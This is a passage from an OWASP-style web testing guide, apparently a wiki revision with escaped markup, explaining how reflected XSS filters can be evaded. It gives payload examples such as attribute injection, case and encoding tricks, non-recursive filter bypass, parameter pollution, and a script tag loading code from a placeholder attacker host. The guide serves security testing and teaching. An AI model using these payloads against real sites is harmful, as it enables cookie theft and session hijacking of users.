Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of &amp;lt;script&amp;gt; tags and even without the use of characters such as &amp;quot; &amp;lt; &amp;gt; and / that are commonly filtered.&lt;br /&gt;
For example, the web application could use the user input value to fill an attribute, as shown in the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;state&amp;quot; value=&amp;quot;INPUT_FROM_USER&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then an attacker could submit the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot; onfocus=&amp;quot;alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Example 4: Different syntax or enconding '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the econding. These variations are tolerated by browsers when the code is returned, and they could also be accepted by the filter. &lt;br /&gt;
Following some examples:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;script &amp;gt;alert(document.cookie)&amp;lt;/script &amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;ScRiPt&amp;gt;alert(document.cookie)&amp;lt;/ScRiPt&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;%3cscript%3ealert(document.cookie)%3c/script%3e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Example 5: Bypassing non-recursive filtering '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string like this one:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Example 6: Including external script '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
   $re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   if (preg_match($re, $_GET['var'])) &lt;br /&gt;
   {&lt;br /&gt;
      echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
      return; &lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;b&amp;gt;&amp;lt;script [anything but the character: '&amp;gt;' ] src&amp;lt;/b&amp;gt; is inserted. This is useful for filtering expressions like &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the &amp;quot;&amp;gt;&amp;quot; character in an attribute between script and src, like this: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was &lt;br /&gt;
originating from the victim web site, http://example/. &lt;br /&gt;
&lt;br /&gt;
''' Example 7: HTTP Parameter Pollution (HPP) '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP &lt;br /&gt;
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information. &lt;br /&gt;
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each &lt;br /&gt;
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.&lt;br /&gt;
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-&lt;br /&gt;
based security mechanisms.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Regular attack: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;gt;[...]&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attack using HPP:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;amp;param=&amp;gt;[...]&amp;lt;/&amp;amp;param=script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Result expected '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.&lt;br /&gt;
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers. &lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. &lt;br /&gt;
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented. &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]&lt;br /&gt;
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''HackVertor''' -  http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	</feed>